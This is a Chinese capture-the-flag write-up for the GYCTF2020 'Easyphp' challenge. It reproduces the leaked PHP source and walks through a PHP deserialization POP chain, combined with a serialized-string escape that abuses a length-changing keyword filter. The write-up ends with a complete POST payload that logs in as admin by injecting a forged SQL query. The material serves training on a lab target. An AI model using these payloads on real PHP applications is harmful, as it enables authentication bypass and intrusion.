[GYCTF2020]Easyphp
进入环境,根据题目猜测有源码泄露
试了下www.zip,直接下载下来了
<?php error_reporting(0); session_start(); function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } class User { public $id; public $age=null; public $nickname=null; public function login() { if(isset($_POST['username'])&&isset($_POST['password'])){ $mysqli=new dbCtrl(); $this->id=$mysqli->login('select id,password from user where username=?'); if($this->id){ $_SESSION['id']=$this->id; $_SESSION['login']=1; echo "你的ID是".$_SESSION['id']; echo "你好!".$_SESSION['token']; echo "<script>window.location.href='./update.php'</script>"; return $this->id; } } } public function update(){ $Info=unserialize($this->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']); //这个功能还没有写完 先占坑 } public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); } public function __destruct(){ return file_get_contents($this->nickname);//危 } public function __toString() { $this->nickname->update($this->age); return "0-0"; } } class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } } Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->sql; } } class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="root"; public $dbpass="root"; public $database="test"; public $name; public $password; public $mysqli; public $token; public function __construct() { $this->name=$_POST['username']; $this->password=$_POST['password']; $this->token=$_SESSION['token']; } public function login($sql) { $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); if ($this->mysqli->connect_error) { die("连接失败,错误:" . $this->mysqli->connect_error); } $result=$this->mysqli->prepare($sql); $result->bind_param('s', $this->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用户不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密码错误!'); return false; } $_SESSION['token']=$this->name; return $idResult; } public function update($sql) { //还没来得及写 } }
发现获取flag的条件在update.php中
<?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你还没有登陆呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
接下来看到lib.php的dbCtrl类
class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="root"; public $dbpass="root"; public $database="test"; public $name; public $password; public $mysqli; public $token; public function __construct() { $this->name=$_POST['username']; $this->password=$_POST['password']; $this->token=$_SESSION['token']; } public function login($sql) { $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); if ($this->mysqli->connect_error) { die("链接失败,错误:" . $this->mysqli->connect_error); } $result=$this->mysqli->prepare($sql); $result->bind_param('s', $this->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用户不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密码错误!'); return false; } $_SESSION['token']=$this->name; return $idResult; } public function update($sql) { //还没来得及写 } }
可以从中得到
- admin用户存在,当$this->password的md5值与数据库查询的密码相同便可登陆成功
- token值为admin也可
可以在lib.php里找到sql的查询语句
当这里的语句为select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?时,即可绕过
接下来就是构造pop链来执行这个sql语句
pop链
UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()
payload:
<?php class User { public $age = null; public $nickname = null; public function __construct() { $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'; $this->nickname = new Info(); } } class Info { public $CtrlCase; public function __construct() { $this->CtrlCase = new dbCtrl(); } } class UpdateHelper { public $sql; public function __construct() { $this->sql = new User(); } } class dbCtrl { public $name = "admin"; public $password = "1"; } $o = new UpdateHelper; echo serialize($o);
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
接下来就是将其反序列化
这里就有个利用点
接下来看看getnewinfo
public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
但这个函数的返回值会先序列化再通过safe函数
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
因此最终可以反序列化的不是直接传入的字符串,而是用传入的值实例化一个Info类的对象,而后对这个对象进行序列化,再对这个序列化结果进行safe() 处理,最后获得的值再进行反序列化。
若是将刚才获得的payload直接用age或nickname参数传入的化,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化获得执行。
所以要想反序列化咱们的payload,就得控制Info类对象的序列化串
生成一个正常的info类对象
<?php class Info{ public $age='1'; public $nickname='ccc'; public $CtrlCase; } echo serialize(new Info());
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:3:"ccc";s:8:"CtrlCase";N;}
这里我们能够控制的属性是age和nickname
通过nickname
参数来注入
所以需要逃逸的字符串为
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
这里有443个字符
构造下payload
age=1&nickname=*********************************************************************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:72:"select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}
即可绕过